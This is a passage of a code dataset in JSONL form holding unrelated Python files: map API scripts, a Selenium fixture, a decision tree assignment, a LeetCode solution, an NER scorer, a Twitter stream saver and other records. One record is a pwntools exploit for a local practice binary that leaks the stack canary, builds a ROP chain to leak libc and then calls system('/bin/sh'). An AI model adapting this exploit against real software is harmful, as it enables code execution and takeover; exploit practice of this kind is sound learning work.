500\n socket.setdefaulttimeout(timeout) # 设置超时\n requests.adapters.DEFAULT_RETRIES = 5\n i = 5\n while i > 0:\n try:\n req = requests.get(all_url)\n content = json.loads(req.text)\n if content[\"status\"] != 0:\n print(content[\"status\"])\n return 0\n return content['result']['routes']\n except:\n i = i - 1\n return 0\n\ndef link(origins):\n data = get_park(origins)\n for i in data:\n lat = i[\"location\"][\"lat\"]\n lng = i[\"location\"][\"lng\"]\n destinations = \"%f,%f\"%(lat,lng)\n result = get_distance(origins,destinations)[0]\n i[\"distance\"] = result['distance']\n i[\"duration\"] = result['duration']\n return data\n\ndef save(place):\n value = get_place(place)\n for i in value:\n data = \"%f,%f\"%(i['location']['lat'],i['location']['lng'])\n msg = get_park(data)\n for u in msg:\n print(u['name'],u['address'],u['location']['lat'],u['location']['lng'])\n\nsave(\"大明宫\")","sub_path":"map3.py","file_name":"map3.py","file_ext":"py","file_size_in_byte":2764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"79986416","text":"import pytest\nfrom selenium import webdriver\nfrom django.conf import settings\n\n\n@pytest.fixture\ndef driver():\n \"\"\"Fixture instanciating a webdriver.Chrome instance.\"\"\"\n chrome_options = webdriver.ChromeOptions()\n for option in getattr(settings, 'CHROMEDRIVER_OPTIONS', []):\n chrome_options.add_argument(option)\n\n # Configuration of the chrome webdriver\n driver = webdriver.Chrome(\n executable_path=settings.CHROMEDRIVER_PATH,\n options=chrome_options,\n )\n driver.implicitly_wait(30)\n driver.maximize_window()\n\n yield driver\n # Teardown\n driver.quit()\n","sub_path":"tests/functional/chrome/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"87132621","text":"#!/usr/bin/python\nfrom pwn import *\n#context.log_level = 'debug'\np = process('easy')\np.recvuntil('you?\\n')\n\nraw_input(\"=\"*20+\"leak-canary\"+\"=\"*20)\np.sendline(\"A\"*72)\np.recvuntil(\"AAAA\\n\")\ncanary = u64('\\x00'+p.recv(7))\nlog.success(\"canary = \" + hex(canary))\n\n# puts(read)\nputs_plt = 0x0400560\nread_got = 0x0601030\npoprdi = 0x04007F3\nmain = 0x04006C6\n'''\n0080| 0x7ffdbdcc23d8 --> 0xdf38bd5406b4af0a # canary\n0088| 0x7ffdbdcc23e0 --> 0x0 # rbp\n0096| 0x7ffdbdcc23e8 --> <__libc_start_main+245> # ret\n'''\npayload1 = (\n\t \"A\" * 72,\n\t p64(canary),\n\t p64(0x0),\n\t p64(poprdi),\n\t p64(read_got),\n\t p64(puts_plt),\n\t p64(main)\n\t )\npayload1 = ''.join(payload1)\nraw_input(\"=\"*20+\"payload1\"+\"=\"*20)\np.sendline(payload1)\np.recvuntil('again!\\n')\nread = u64(p.recv().split('\\nHello')[0].ljust(8,'\\x00'))\nlog.success(\"read = \" + hex(read))\n\n#from libc-database\noffset_system = 0x0000000000046590\noffset_read = 0x00000000000eb6a0\noffset_str_bin_sh = 0x17c8c3\n\nsystem = read - offset_read + offset_system\nbinsh = read - offset_read + offset_str_bin_sh\nlog.success(\"system = \" + hex(system))\nlog.success(\"binsh = \" + hex(binsh))\n\np.sendline(\"yourdaddy\")\np.recvuntil(\"name?\\n\")\n# system(binsh)\npayload2 = (\n \"A\" * 72,\n p64(canary),\n p64(0x0),\n p64(poprdi),\n p64(binsh),\n p64(system),\n p64(main)\n )\npayload2 = ''.join(payload2)\nraw_input(\"=\"*20+\"payload2\"+\"=\"*20)\np.sendline(payload2)\np.recvuntil(\"again!\\n\")\n\np.interactive()","sub_path":"linux/stack/canary/leak_canary/easy/easy.py","file_name":"easy.py","file_ext":"py","file_size_in_byte":1518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"441910556","text":"#!/usr/bin/env python\n# This is my Decision Tree project\n\nimport math\nimport sys\nimport re\nimport random\n\ndef calcTestPer(tree,line): # Test iteratively values in test set and measure accuracy by comparing with class of test set\n zero = 0\n one = 0\n for i, v in enumerate(line):\n length = len(v)\n if tree.testTree(line[0],v) == v[length-1]:\n zero = zero + 1\n else:\n one = one + 1\n return zero/(zero+one)\n\ndef split(line,k): # split a test set into 2 set based on k column where one array has k =1 other is k=0\n \"\"\"Return a list containing the Fibonacci series up to n.\"\"\"\n length = len(line[0])-1\n tesline = [line[0][0:k]+line[0][k+1:length+1]]\n tes2line = [line[0][0:k]+line[0][k+1:length+1]]\n for i, v in enumerate(line[1:]):\n if v[k] == '0':\n tesline.append(v[0:k]+v[k+1:length+1])\n else:\n if v[k] == '1':\n tes2line.append(v[0:k]+v[k+1:length+1])\n returnval = [tesline,tes2line]\n return(returnval)\n\ndef calcEntropy(line): # calculate the entropy of a test set\n \"\"\"Return a list containing the Fibonacci series up to n.\"\"\"\n zero = 0\n one = 0\n length = len(line[0])\n for i, v in enumerate(line):\n if v[length-1] == '0':\n zero = zero + 1\n else:\n if v[length-1] == '1':\n one = one + 1\n if(zero == 0 or one == 0):\n return 0\n else:\n ent = (-(zero/(zero+one)*math.log2(zero/(zero+one))))+(-(one/(zero+one))*math.log2(one/(zero+one)))\n return(ent)\n\n\nclass Node:\n def __init__(self, val, ent, zero, one):\n self.l = None\n self.r = None\n self.v = val\n self.e = ent\n self.z = zero\n self.o = one\n self.i = 0\n\nclass Tree:\n def __init__(self):\n self.root = None\n def getRoot(self):\n return self.root\n def add(self, val, ent, zero, one):\n if(self.root == None):\n self.root = Node(val, ent, zero, one)\n else:\n self._add(val, ent, zero, one, self.root)\n def _add(self, val, ent, zero, one, node):\n if(node.l != None):\n if(node.r != None):\n self._add(val, ent, zero, one, node.l)\n else:\n node.r = Node(val, ent, zero, one)\n else:\n node.l = Node(val,ent, zero, one)\n def printTree(self):\n if(self.root != None):\n self._printTree(self.root,1)\n def _printTree(self, node,numdash):\n if(node != None):\n if node.l.v == '0' or node.l.v =='1':\n for i in range(0,numdash):\n print('|',end=\" \")\n print(str(node.v)+\" ID :\"+str(node.i)+\" = 0 : \"+node.l.v, end=\"\\n\")\n else:\n for i in range(0,numdash):\n print('|',end=\" \")\n print(str(node.v)+\" ID :\"+str(node.i)+\" = 0 :\", end=\"\\n\")\n self._printTree(node.l,numdash+1)\n if node.r.v == '0' or node.r.v =='1':\n for i in range(0,numdash):\n print('|',end=\" \")\n print(str(node.v)+\" ID :\"+str(node.i)+\" = 1 : \"+node.r.v, end=\"\\n\")\n else:\n for i in range(0,numdash):\n print('|',end=\" \")\n print(str(node.v)+\" ID :\"+str(node.i)+\" = 1 :\", end=\"\\n\")\n self._printTree(node.r,numdash+1)\n def numberTree(self):\n if(self.root != None):\n self.root.i = 0\n self._numberTree(self.root,0)\n def _numberTree(self,node,num):\n if(node != None):\n node.i = num+1\n num = self._numberTree(node.l,num+1)\n return self._numberTree(node.r,num)\n else:\n return num\n def removeFromTree(self,i):\n if(self.root != None):\n self._removeFromTree(self.root,i)\n def _removeFromTree(self,node,i):\n if(node != None):\n if(node.l != None):\n if(node.l.i == i):\n if(node.l.z > node.l.o):\n node.l.z = node.l.z + node.l.o\n node.l.o = 0\n node.l.v = '0'\n node.l.e = 100\n node.l.r = None\n node.l.l = None\n else:\n node.l.o = node.l.z + node.l.o\n node.l.z = 0\n node.l.v = '1'\n node.l.e = 100\n node.l.r = None\n node.l.l = None\n else:\n if(node.r != None):\n if(node.r.i == i):\n if(node.r.z > node.r.o):\n node.r.z = node.r.z + node.r.o\n node.r.o = 0\n node.r.v = '0'\n node.r.e = 100\n node.r.r = None\n node.r.l = None\n else:\n node.r.o = node.r.z + node.r.o\n node.r.z = 0\n node.r.v = '1'\n node.r.e = 100\n node.r.r = None\n node.r.l = None\n else:\n self._removeFromTree(node.l,i)\n self._removeFromTree(node.r,i)\n def getEntropy(self):\n if(self.root != None):\n return self._getEntropy(self.root)\n def _getEntropy(self,node):\n if(node != None):\n array = []\n nodeEnt = [node.i,node.e]\n array.append(nodeEnt)\n nodeLEnt = self._getEntropy(node.l)\n for i,v in enumerate(nodeLEnt):\n array.append(v)\n nodeREnt = self._getEntropy(node.r)\n for i,v in enumerate(nodeREnt):\n array.append(v)\n return array\n else:\n return []\n def getSize(self):\n if(self.root != None):\n return self._getSize(self.root)\n def _getSize(self,node):\n if(node != None):\n nodeSize = node.i\n nodeLSize = self._getSize(node.l)\n nodeRSize = self._getSize(node.r)\n maxSize = max(nodeSize,nodeLSize,nodeRSize)\n if nodeSize == maxSize:\n return nodeSize\n else:\n if nodeLSize == maxSize:\n return nodeLSize\n else:\n return nodeRSize\n else:\n return 0\n def getLeafNode(self):\n if(self.root != None):\n return self._getLeafNode(self.root)\n def _getLeafNode(self,node):\n if(node != None):\n if(node.v == '0') or (node.v == '1'):\n return 1\n else:\n return self._getLeafNode(node.l) + self._getLeafNode(node.r)\n else:\n return 0\n def getLeafDepth(self):\n if(self.root != None):\n return self._getLeafDepth(self.root,0)\n def _getLeafDepth(self,node,depth):\n if(node != None):\n if(node.v == '0') or (node.v == '1'):\n return depth+1\n else:\n return self._getLeafDepth(node.l,depth+1) + self._getLeafDepth(node.r,depth+1)\n else:\n return 0\n def testTree(self,ref,val):\n if(self.root != None):\n return self._testTree(self.root,ref,val)\n def _testTree(self,node,ref,val):\n length = len(ref)\n dictionary = dict(zip(ref, list(range(0,length-1))))\n if(node.v == '0' or node.v == '1'):\n return node.v\n if(val[dictionary[node.v]]=='0'):\n #print(node.v)\n return self._testTree(node.l,ref,val)\n else:\n return self._testTree(node.r,ref,val)\n\ndef prune(tree, pruneFactor): #prune tree by randomly choosing a a node from the three nodes that have the least entropy\n pruneInt = pruneFactor*tree.getSize()\n print(\"Number of nodes to be pruned = \",end=' ')\n print(pruneInt)\n blah = tree.getEntropy()\n for num in range(0,int(pruneInt)):\n blah.sort(key=lambda x: x[1])\n off = random.choice(blah[:3])\n tree.removeFromTree(off[0])\n print(\"Nodes to be pruned = \",end=' ')\n print(off[0])\n blah.remove(off)\n\n\ndef mergeTree(tree1,tree2,val,ent,zero, one): #merge 2 trees into one\n new = Tree()\n if tree1.root.v == tree2.root.v and (tree1.root.v=='0' or tree1.root.v=='1'):\n #print('collapsing')\n new.add(tree1.root.v,tree1.root.e,tree1.root.z,tree1.root.o)\n else:\n new.add(val,ent,zero, one)\n new.root.l = tree1.root\n new.root.r = tree2.root\n return new\n\ndef buildTree(val): #build a tree based on a training set\n entropyarray = []\n length = len(val[0])\n #print(\"length\")\n #print(length)\n size = len(val)\n #print(\"size\")\n #print(size)\n if length == 1:\n new = Tree()\n count0 = val.count(['0'])\n count1 = val.count(['1'])\n if count0>count1:\n new.add('0',100,count0,0)\n else:\n new.add('1',100,0,count1)\n return new\n if size == 1:\n new = Tree()\n if bool(random.getrandbits(1)):\n new.add('0',100,0,0)\n else:\n new.add('1',100,0,0)\n return new\n if calcEntropy(val) == 0:\n new = Tree()\n #print(\"val\")\n #print(val)\n if(val[1][length-1] == '0'):\n new.add(val[1][length-1],100,size,0)\n else:\n if(val[1][length-1] == '1'):\n new.add(val[1][length-1],100,0,size)\n return new\n for num in range(0,length-1):\n mucho=split(val,num)\n mucho0len = len(mucho[0])-1\n mucho1len = len(mucho[1])-1\n weightedavg0 = mucho0len/(mucho0len+mucho1len)\n weightedavg1 = mucho1len/(mucho0len+mucho1len)\n entropyarray.append(calcEntropy(val)-(weightedavg0*calcEntropy(mucho[0]))+(weightedavg1*calcEntropy(mucho[1])))\n maxvaluetag = val[0][entropyarray.index(max(entropyarray))]\n maxvalueindex = entropyarray.index(max(entropyarray))\n mucho=split(val,maxvalueindex)\n tree1 = buildTree(mucho[0])\n tree2 = buildTree(mucho[1])\n return mergeTree(tree1,tree2,maxvaluetag,max(entropyarray),tree1.root.z+tree2.root.z,tree1.root.o+tree2.root.o)\n\ndef buildTreeRandom(val): #build a tree based on a training set\n entropyarray = []\n length = len(val[0])\n #print(\"length\")\n #print(length)\n size = len(val)\n #print(\"size\")\n #print(size)\n if length == 1:\n new = Tree()\n count0 = val.count(['0'])\n count1 = val.count(['1'])\n if count0>count1:\n new.add('0',100,count0,0)\n else:\n new.add('1',100,0,count1)\n return new\n if size == 1:\n new = Tree()\n if bool(random.getrandbits(1)):\n new.add('0',100,0,0)\n else:\n new.add('1',100,0,0)\n return new\n if calcEntropy(val) == 0:\n new = Tree()\n #print(\"val\")\n #print(val)\n if(val[1][length-1] == '0'):\n new.add(val[1][length-1],100,size,0)\n else:\n if(val[1][length-1] == '1'):\n new.add(val[1][length-1],100,0,size)\n return new\n for num in range(0,length-1):\n mucho=split(val,num)\n mucho0len = len(mucho[0])-1\n mucho1len = len(mucho[1])-1\n weightedavg0 = mucho0len/(mucho0len+mucho1len)\n weightedavg1 = mucho1len/(mucho0len+mucho1len)\n entropyarray.append(calcEntropy(val)-(weightedavg0*calcEntropy(mucho[0]))+(weightedavg1*calcEntropy(mucho[1])))\n randChoice = random.choice(entropyarray)\n maxvaluetag = val[0][entropyarray.index(randChoice)]\n maxvalueindex = entropyarray.index(randChoice)\n mucho=split(val,maxvalueindex)\n tree1 = buildTree(mucho[0])\n tree2 = buildTree(mucho[1])\n return mergeTree(tree1,tree2,maxvaluetag,randChoice,tree1.root.z+tree2.root.z,tree1.root.o+tree2.root.o)\n\n\nwith open(sys.argv[1]) as textFile:\n train = [line.split() for line in textFile if len(line)>1]\n\nwith open(sys.argv[2]) as textFile:\n test = [line.split() for line in textFile if len(line)>1]\n\n#for i,v in enumerate(train):\n# print(i,v)\n\nprint(\"\\n\\n\")\n\ntree = buildTree(train)\ntree.numberTree()\n\nprint(\"--------------------------------\")\nprint(\"ID3 Decision Tree\")\nprint(\"--------------------------------\")\n\ntree.printTree()\n\nprint(\"\\n\\n\")\n\nprint(\"--------------------------------\")\nprint(\"ID3 Accuracy\")\nprint(\"--------------------------------\")\nprint(\"Number of training instances = \",end =\" \")\nprint(len(train)-1)\nprint(\"Number of training attributes = \",end =\" \")\nprint(len(train[0])-1)\nprint(\"Total number of nodes in the tree = \",end =\" \")\nprint(tree.getSize())\nprint(\"Number of leaf nodes in the tree = \",end =\" \")\nprint(tree.getLeafNode())\nprint(\"Accuracy of the model on the training dataset = \",end =\" \")\nprint(calcTestPer(tree,train))\nprint(\"Number of testing instances = \",end =\" \")\nprint(len(train)-1)\nprint(\"Number of testing attributes = \",end =\" \")\nprint(len(train[0])-1)\nprint(\"Accuracy of the model on the testing dataset = \",end =\" \")\nprint(calcTestPer(tree,test))\nprint(\"Average depth = \",end =\" \")\nprint(tree.getLeafDepth()/tree.getLeafNode())\n\nprint(\"\\n\\n\")\n\nrandomTree = buildTreeRandom(train)\nrandomTree.numberTree()\n\nprint(\"--------------------------------\")\nprint(\"Non ID3 Decision Tree\")\nprint(\"--------------------------------\")\n\nrandomTree.printTree()\n\nprint(\"\\n\\n\")\n\nprint(\"--------------------------------\")\nprint(\"Non ID3 Accuracy\")\nprint(\"--------------------------------\")\nprint(\"Number of training instances = \",end =\" \")\nprint(len(train)-1)\nprint(\"Number of training attributes = \",end =\" \")\nprint(len(train[0])-1)\nprint(\"Total number of nodes in the tree = \",end =\" \")\nprint(randomTree.getSize())\nprint(\"Number of leaf nodes in the tree = \",end =\" \")\nprint(randomTree.getLeafNode())\nprint(\"Accuracy of the model on the training dataset = \",end =\" \")\nprint(calcTestPer(randomTree,train))\nprint(\"Number of testing instances = \",end =\" \")\nprint(len(train)-1)\nprint(\"Number of testing attributes = \",end =\" \")\nprint(len(train[0])-1)\nprint(\"Accuracy of the model on the testing dataset = \",end =\" \")\nprint(calcTestPer(randomTree,test))\nprint(\"Average depth = \",end =\" \")\nprint(randomTree.getLeafDepth()/randomTree.getLeafNode())\n\nprint(\"\\n\\n\")\n","sub_path":"DecisionTreePruningFactor/Modified/Assignment1Bonus.py","file_name":"Assignment1Bonus.py","file_ext":"py","file_size_in_byte":14561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"52041341","text":"#\n# @lc app=leetcode id=1008 lang=python3\n#\n# [1008] Construct Binary Search Tree from Preorder Traversal\n#\n\n# @lc code=start\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def bstFromPreorder(self, preorder: List[int]) -> TreeNode:\n root = TreeNode(preorder.pop(0))\n idx = next((i for i, v in enumerate(preorder) if v > root.val), -1)\n if idx != -1:\n left = preorder[0:idx]\n right = preorder[idx:]\n else:\n left = preorder\n right = []\n if len(left) != 0:\n root.left= self.bstFromPreorder(left)\n if len(right)!= 0:\n root.right= self.bstFromPreorder(right)\n return root\n \n\n \n# @lc code=end\n\n","sub_path":"py-src/1008.construct-binary-search-tree-from-preorder-traversal.py","file_name":"1008.construct-binary-search-tree-from-preorder-traversal.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"590195009","text":"import ipdb\nfrom argparse import ArgumentParser\nfrom collections import defaultdict\nimport json\nfrom pprint import pprint\n\ndef safe_div(num, denom):\n if denom > 0:\n return num / denom\n else:\n return 0\n\ndef compute_f1(predicted, gold, matched):\n precision = safe_div(matched, predicted)\n recall = safe_div(matched, gold)\n f1 = safe_div(2 * precision * recall, precision + recall)\n return precision, recall, f1\n\nclass score_by_class(object):\n def __init__(self, gold_trigger_cls_num=0, pred_trigger_cls_num=0, trigger_cls_num=0):\n self.gold_trigger_cls_num=gold_trigger_cls_num\n self.pred_trigger_cls_num=pred_trigger_cls_num\n self.trigger_cls_num=trigger_cls_num\n\n def get_score(self):\n trigger_prec, trigger_rec, trigger_f = compute_f1(\n self.pred_trigger_cls_num, self.gold_trigger_cls_num, self.trigger_cls_num)\n \n scores = {\n 'entities': {'prec': trigger_prec, 'rec': trigger_rec, 'f': trigger_f},\n 'pred_num': self.pred_trigger_cls_num,\n 'gold_num': self.gold_trigger_cls_num,\n 'match_num': self.trigger_cls_num\n }\n return scores\n\ndef score_graphs(gold_graphs, pred_graphs):\n gold_ent_num = pred_ent_num = ent_match_num = 0\n\n detailed_scores = defaultdict(score_by_class)\n\n for gold_graph, pred_graph in zip(gold_graphs, pred_graphs):\n # Entity\n gold_entities = [(e[0], e[1], e[2]) for e in gold_graph['entities']]\n gold_entities = list(set(gold_entities))\n gold_entities = [[e[0], e[1], e[2]] for e in gold_entities]\n pred_entities = [(e[0], e[1], e[2]) for e in pred_graph['entities']]\n pred_entities = list(set(pred_entities))\n pred_entities = [[e[0], e[1], e[2]] for e in pred_entities]\n\n gold_ent_num += len(gold_entities)\n pred_ent_num += len(pred_entities)\n ent_match_num += len([entity for entity in pred_entities\n if entity in gold_entities])\n\n for pred_ent in pred_entities:\n detailed_scores[pred_ent[2]].pred_trigger_cls_num += 1\n matched = [item for item in gold_entities\n if item[0] == pred_ent[0] and item[1] == pred_ent[1] and item[2] == pred_ent[2]]\n if matched:\n detailed_scores[pred_ent[2]].trigger_cls_num += 1\n \n for gold_ent in gold_entities:\n detailed_scores[gold_ent[2]].gold_trigger_cls_num += 1\n\n entity_prec, entity_rec, entity_f = compute_f1(\n pred_ent_num, gold_ent_num, ent_match_num)\n \n print(\"---------------------------------------------------------------------\")\n print('Entity - P: {:6.2f} ({:4d}/{:4d}), R: {:6.2f} ({:4d}/{:4d}), F: {:6.2f}'.format(\n entity_prec * 100.0, ent_match_num, pred_ent_num, \n entity_rec * 100.0, ent_match_num, gold_ent_num, entity_f * 100.0))\n \n print(\"---------------------------------------------------------------------\")\n \n scores = {\n 'entity': {'prec': entity_prec, 'rec': entity_rec, 'f': entity_f},\n }\n scores_by_type = dict()\n for k, v in detailed_scores.items():\n scores_by_type[k] = v.get_score()\n\n return scores, scores_by_type\n\ndef transform(gold_file_list):\n gold_json = {}\n for g in gold_file_list:\n entities = [[e['start'], e['end'], e['entity_type']] for e in g['entity_mentions']]\n\n #if ' '.join(g['tokens']) in gold_json.keys():\n # print(' '.join(g['tokens']))\n\n gold_json[' '.join(g['tokens'])]={\n \"entities\": entities,\n \"tokens\": g['tokens']\n }\n return gold_json\n\ndef transform_pred(pred_file_lists):\n pred_json = {}\n for f_pred in pred_file_lists:\n preds = json.load(open(f_pred, 'r'))\n for g in preds:\n entities = g['pred object']\n \n if ' '.join(g['tokens']) not in pred_json.keys(): \n pred_json[' '.join(g['tokens'])]={\n \"entities\": entities,\n \"tokens\": g['tokens']\n }\n else:\n pred_json[' '.join(g['tokens'])]['entities'].extend(entities)\n return pred_json\n\n# configuration\nparser = ArgumentParser()\nparser.add_argument('-p', '--pred_path', required=True, nargs='+', help='The prediction files.')\nparser.add_argument('-g', '--gold_path', required=True, help='The test file.')\nparser.add_argument('--verbose', action='store_true', default=False)\nargs = parser.parse_args()\n\ngolds = [json.loads(line) for line in open(args.gold_path, 'r')]\ngolds = transform(golds)\n#predictions = transform_pred(json.load(open(args.pred_path, 'r')))\npredictions = transform_pred(args.pred_path)\n\nprint(len(golds.keys()))\nassert len(golds.keys()) == len(predictions.keys())\n\npred_graphs = []\ngold_graphs = []\nfor key, pred_graph in predictions.items():\n gold_graph = golds[key]\n pred_graphs.append(pred_graph)\n gold_graphs.append(gold_graph)\n\nfull_scores, scores_by_type = score_graphs(gold_graphs, pred_graphs)\n\nif args.verbose:\n pprint(scores_by_type)","sub_path":"ensemble_plus_scorer_ner.py","file_name":"ensemble_plus_scorer_ner.py","file_ext":"py","file_size_in_byte":5097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"560309931","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport tweepy\nfrom tweepy.streaming import StreamListener, Stream\nfrom datetime import timedelta\nimport json\nimport os\n\ndef get_oauth():\n consumer_key = ''\n consumer_secret = ''\n access_key = ''\n access_secret = ''\n \n auth = tweepy.OAuthHandler(consumer_key, consumer_secret)\n auth.set_access_token(access_key, access_secret)\n return auth\n\ndef main():\n\n auth = get_oauth()\n api = tweepy.API(auth)\n \n stream = Stream(auth, StreamListener(), secure = True)\n stream.userstream()\n print (\"終了\")\n\nclass StreamListener(StreamListener):\n\n def on_data(self, data):\n try:\n tweet = json.loads(data)\n \n Screen_name = tweet[\"user\"][\"screen_name\"]\n userID = tweet[\"user\"][\"id\"]\n Text = tweet[\"text\"]\n date = tweet[\"created_at\"]\n tweetID = tweet[\"id\"]\n Source = tweet[\"source\"]\n via = Source[Source.find(\">\") + 1 : Source.rfind(\"<\")]\n \n List = {\"user\": {\"screen_name\": Screen_name, \"id\": userID}, \"tweet\": {\"text\": Text, \"date\": date, \"id\": tweetID}, \"via\": via}\n #print (json.dumps(List, sort_keys = True, indent = 4, ensure_ascii = False))\n\n if os.path.exists(\"data/%s\" % Screen_name):\n pass\n else:\n os.mkdir(\"data/%s\" % Screen_name)\n \n #機種依存文字等はここで無理やり例外を発生させjsonファイルに書き込ませない\n error = open(\"error\",\"a\")\n json.dump(List, error, indent = 4, ensure_ascii = False)\n error.write(',')\n error.close()\n \n f = open(\"data/%s/result.txt\" % Screen_name ,\"a\")\n json.dump(List, f, indent = 4, ensure_ascii = False)\n f.write(',')\n f.close()\n \n except Exception:\n print('Encountered Exception') \n \n def on_status(self, status):\n status.created_at += timedelta(hours=9)\n try:\n pass\n \n except Exception:\n print('Encountered Exception')\n \n def on_error(self,status):\n print (\"can't get\")\n return True # Don't kill the stream\n \n def on_timeout(self):\n print ('Timeout...')\n return True # Don't kill the stream\n \n \nif __name__ == \"__main__\":\n main()\n","sub_path":"StreamingSave/streamingSave.py","file_name":"streamingSave.py","file_ext":"py","file_size_in_byte":2443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"170403618","text":"class Solution:\n def groupAnagrams(self, strs: List[str]) -> List[List[str]]:\n # len(str) is equal or longer than 1\n # len(str[i]) can be 0\n if len(strs) <= 1: return [strs]\n \n seen = {}\n \n for string in strs:\n sortStr = self.strToList(string)\n if sortStr not in seen:\n seen[sortStr] = []\n seen[sortStr].append(string)\n \n res = []\n for key in seen: # or seen.keys()\n res.append(seen[key])\n \n return res\n \n \n def strToList(self, string):\n # convert string to list of char and sort it\n charList = sorted(list(string))\n \n # or \n # charList = list(string)\n # charList.sort()\n \n # return the sorted string\n return ''.join(charList)\n \n # TC: O(n*klogk)\n # k is ave size of string in strs, klogk is .sort() TC\n # n is the length of the strs\n \n # SC: O(n*k)\n # worst case, dict will have n entries and each entry store a size k string\n # in this problem, dict{key:string} is different from key:int\n # the former one take O(nk) where the later takes O(n)\n # another angle to consider this problem, the SC of strs is O(nk)\n # as the dict stores the same amount of information, thus the SC should be the same \n","sub_path":"49_GroupAnagrams/49_GroupAnagrams_1.py","file_name":"49_GroupAnagrams_1.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"477621840","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('icekit_events', '0009_auto_20161125_1538'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='eventbase',\n name='is_drop_in',\n field=models.BooleanField(default=False, help_text=b'Check to indicate that the event/activity can be attended at any time within the given time range.'),\n ),\n ]\n","sub_path":"icekit_events/migrations/0010_eventbase_is_drop_in.py","file_name":"0010_eventbase_is_drop_in.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"445744111","text":"import os\nimport pandas\nimport utils\nimport numpy\nfrom collections import defaultdict\n\n\ndef main_tmp():\n d_out = defaultdict(dict)\n l_files = os.listdir('data/')\n l_files = [f for f in l_files if \"behavior\" in f]\n for file_2 in l_files:\n data = utils.read_behavior_data(file_2)\n indice = utils.get_index(file_2)\n for func in L_FUNCTIONS:\n d_out[indice].update(func(data))\n return d_out\n\ndef get_nb_distinct_apis(df):\n \"\"\"Get the number of distinct apis per process.\"\"\"\n return {\"nb_unique_apis\": len(set(df.api))}\n\n\ndef get_nb_api_calls(df):\n \"\"\"Get the number of calls per api across the subprocesses.\"\"\"\n d = dict(df.groupby(\"api\")[\"api\"].count())\n d = {\"_\".join((\"num_calls\", k)): v for (k, v) in d.items()}\n return d\n\ndef get_nb_rip(df):\n nb_rip = len(set(df[\"rip\"]))\n return {\"nb_rip_unique\": nb_rip}\n\n\ndef get_nb_api_by_rip(df):\n # number of counts\n group_by_rip = df[[\"rip\", \"api\"]].groupby(\"rip\")\n l_counts = group_by_rip.count().values\n mean = l_counts.mean()\n std = l_counts.std()\n\n l_counts_unique = group_by_rip.nunique().values\n mean_unique = l_counts_unique.mean()\n std_unique = l_counts_unique.std()\n\n return {\"mean_nb_api_rip\": mean, \"std_nb_api_rip\": std, \"mean_nb_unique_api_rip\": mean_unique, \"std_nb_unique_api_rip\": std_unique}\n\n\nif __name__ == \"__main__\":\n L_FUNCTIONS = [get_nb_rip, get_nb_api_by_rip, get_nb_distinct_apis, get_nb_api_calls]\n print(main_tmp())\n\n","sub_path":"file_2_features.py","file_name":"file_2_features.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"184039277","text":"#!/usr/bin/env python\n\n\n\n\n\n# v1=100\n# v2='select * from %s'%v1\n# print(v2)\n\n'''\nCreated on 2017年6月4日\n\n@author: Succez\n'''\n#-*- coding: utf-8 -*-\n\nimport requests\n\nurl='http://www.itpub.net/'\n\n#伪装浏览器\nheaders={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'}\n\n#使用代理ip\nproxies={\n 'http':'http://119.5.0.71:808',\n 'https':'https://183.163.145.69:8118'\n}\nres=requests.get(url,headers=headers).content.decode('gbk')\nprint(res)\n","sub_path":"pycharm/untitled/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"484169940","text":"\nfrom six import add_metaclass\nfrom abc import ABCMeta, abstractproperty\n\nfrom odin import backend as K\nfrom odin.utils import flatten_list\nfrom odin.nnet.base import Dense\nfrom odin.nnet.models.base import Model\n\n@add_metaclass(ABCMeta)\nclass _BNFbase(Model):\n\n @abstractproperty\n def nb_layers(self):\n raise NotImplementedError\n\n def get_input_info(self):\n w0 = self.get_loaded_param('w0')\n nb_ceps = w0.shape[1]\n return {'X': ((None, nb_ceps), 'float32')}\n\n def _initialize(self):\n param_names = flatten_list([('b%d' % i, 'w%d' % i)\n for i in range(self.nb_layers)])\n weights = self.get_loaded_param(param_names)\n # ====== create ====== #\n layers = []\n for i in range(self.nb_layers):\n b = weights[i * 2].ravel()\n W = weights[i * 2 + 1].T\n num_units = b.shape[0]\n if i == self.nb_layers - 1:\n name = 'Bottleneck'\n nonlinearity = K.linear\n else:\n name = \"Layer%d\" % (i + 1)\n nonlinearity = K.relu\n op = Dense(num_units=num_units, W_init=W, b_init=b,\n activation=nonlinearity, name=name)\n layers.append(op)\n self.layers = layers\n\n def _apply(self, X):\n # ====== apply ====== #\n for op in self.layers[:-1]:\n X = op(X)\n X = K.renorm_rms(X, axis=1)\n return self.layers[-1](X)\n\n\nclass BNF_1024_MFCC39(_BNFbase):\n \"\"\" Bottleneck fully connected network (1024-units):\n + Feature: 39-D MFCCs with 13-D+detla+ddelta)\n - sample_rate = 